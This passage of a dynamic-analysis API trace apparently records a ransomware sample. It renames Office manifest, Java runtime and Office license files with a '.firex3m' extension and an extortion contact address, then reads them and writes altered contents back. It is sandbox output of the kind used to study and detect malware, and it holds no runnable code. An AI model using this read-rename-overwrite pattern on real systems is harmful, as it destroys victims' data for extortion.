ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdea2ee9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd53, dwReserved0=0xc6c7496, dwReserved1=0x709760, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPXMA~3.FIR")) returned 0x6d4ec0 [0120.735] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0120.735] Sleep (dwMilliseconds=0x1) [0120.756] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 1 [0120.756] GetProcessHeap () returned 0x630000 [0120.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c4) returned 0x66a3e0 [0120.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0120.795] CloseHandle (hObject=0x410) returned 1 [0120.795] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.796] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APCCE5~1.FIR")) returned 0x6d54c0 [0120.796] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0120.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0120.797] GetProcessHeap () returned 0x630000 [0120.797] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6672f8 [0120.797] GetProcessHeap () returned 0x630000 [0120.797] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6fcaf20 [0120.797] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.797] ReadFile (in: hFile=0x410, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x343ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0120.803] GetProcessHeap () returned 0x630000 [0120.803] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feefd0 [0120.803] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.803] WriteFile (in: hFile=0x410, lpBuffer=0x6fcaf20*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcaf20*, lpNumberOfBytesWritten=0x343ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0120.804] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.804] WriteFile (in: hFile=0x410, lpBuffer=0x6fcb3ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcb3ff*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0120.804] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.804] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0120.804] CloseHandle (hObject=0x410) returned 1 [0120.805] GetProcessHeap () returned 0x630000 [0120.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fcaf20 | out: hHeap=0x630000) returned 1 [0120.805] GetProcessHeap () returned 0x630000 [0120.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0120.805] GetProcessHeap () returned 0x630000 [0120.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feefd0 | out: hHeap=0x630000) returned 1 [0120.805] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf3b739, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xc6c7496, dwReserved1=0x6672f0, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APCCE5~1.FIR")) returned 0x6d5200 [0123.022] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.239] Sleep (dwMilliseconds=0x1) [0123.293] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 1 [0123.293] GetProcessHeap () returned 0x630000 [0123.293] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1ac) returned 0x66a3e0 [0123.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0123.296] CloseHandle (hObject=0x6bc) returned 1 [0123.296] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.312] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP5165~1.FIR")) returned 0x6d5340 [0123.325] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0123.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0123.325] GetProcessHeap () returned 0x630000 [0123.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x67a7c0 [0123.325] GetProcessHeap () returned 0x630000 [0123.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x697da8 [0123.325] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.325] ReadFile (in: hFile=0x710, lpBuffer=0x67a7c0, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67a7c0*, lpNumberOfBytesRead=0x343ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.482] GetProcessHeap () returned 0x630000 [0123.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0123.482] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.482] WriteFile (in: hFile=0x710, lpBuffer=0x697da8*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesWritten=0x343ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0123.483] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.483] WriteFile (in: hFile=0x710, lpBuffer=0x698287*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x698287*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.483] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.483] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.483] CloseHandle (hObject=0x710) returned 1 [0123.840] GetProcessHeap () returned 0x630000 [0123.840] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0123.840] GetProcessHeap () returned 0x630000 [0123.840] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67a7c0 | out: hHeap=0x630000) returned 1 [0123.840] GetProcessHeap () returned 0x630000 [0123.840] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0124.368] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8c6272, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xc6c7496, dwReserved1=0x67a7b8, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP5165~1.FIR")) returned 0x6d5200 [0124.368] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.368] Sleep (dwMilliseconds=0x1) [0124.379] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", len=0x2d | out: pbstr=0x343ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 1 [0124.379] GetProcessHeap () returned 0x630000 [0124.379] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x124) returned 0x66a3e0 [0124.379] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0124.632] CloseHandle (hObject=0x684) returned 1 [0124.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.677] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RTJARI~1.FIR")) returned 0x6d5280 [0124.677] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0124.677] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0124.677] GetProcessHeap () returned 0x630000 [0124.677] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x730ba08 [0124.677] GetProcessHeap () returned 0x630000 [0124.678] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70080a0 [0124.678] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.678] ReadFile (in: hFile=0x684, lpBuffer=0x730ba08, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x730ba08*, lpNumberOfBytesRead=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.231] GetProcessHeap () returned 0x630000 [0128.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0128.231] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.231] WriteFile (in: hFile=0x684, lpBuffer=0x70080a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70080a0*, lpNumberOfBytesWritten=0x343ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0129.649] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.649] WriteFile (in: hFile=0x684, lpBuffer=0x701349f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x701349f*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) returned 1 [0129.651] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.651] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x343ff0c*=0x4, lpOverlapped=0x0) returned 1 [0129.651] CloseHandle (hObject=0x684) returned 1 [0140.737] GetProcessHeap () returned 0x630000 [0140.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70080a0 | out: hHeap=0x630000) returned 1 [0140.739] GetProcessHeap () returned 0x630000 [0140.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730ba08 | out: hHeap=0x630000) returned 1 [0140.739] GetProcessHeap () returned 0x630000 [0140.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0140.740] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0140.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fcc4 | out: lpFindFileData=0x343fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19d6abb6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x340867f, dwReserved0=0xc6c7496, dwReserved1=0x730ba00, cFileName="rt.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RTJARI~1.FIR")) returned 0x6d5440 [0140.740] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0140.740] Sleep (dwMilliseconds=0x1) [0141.534] SysReAllocStringLen (in: pbstr=0x343ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms", len=0x4c | out: pbstr=0x343ff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 1 [0141.534] GetProcessHeap () returned 0x630000 [0141.534] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c58) returned 0x7203db8 [0141.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0143.335] CloseHandle (hObject=0x6f8) returned 1 [0143.335] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0143.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x343ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.771] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x343fc6c | out: lpFindFileData=0x343fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4b09e82, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4b09e82, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4c14eea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d45, dwReserved0=0x6d, dwReserved1=0x0, cFileName="MondoR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO0D21~1.FIR")) returned 0x6d5000 [0143.772] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0143.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0143.772] GetProcessHeap () returned 0x630000 [0143.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x6f22460 [0143.772] GetProcessHeap () returned 0x630000 [0143.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x6f251d0 [0143.772] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.772] ReadFile (in: hFile=0x6f8, lpBuffer=0x6f22460, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f22460*, lpNumberOfBytesRead=0x343ff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0145.300] GetProcessHeap () returned 0x630000 [0145.300] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71772b8 [0145.300] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.300] WriteFile (in: hFile=0x6f8, lpBuffer=0x6f251d0*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f251d0*, lpNumberOfBytesWritten=0x343ff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0145.901] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.901] WriteFile (in: hFile=0x6f8, lpBuffer=0x6f27f0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x343ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f27f0f*, lpNumberOfBytesWritten=0x343ff0c*=0x20, lpOverlapped=0x0) 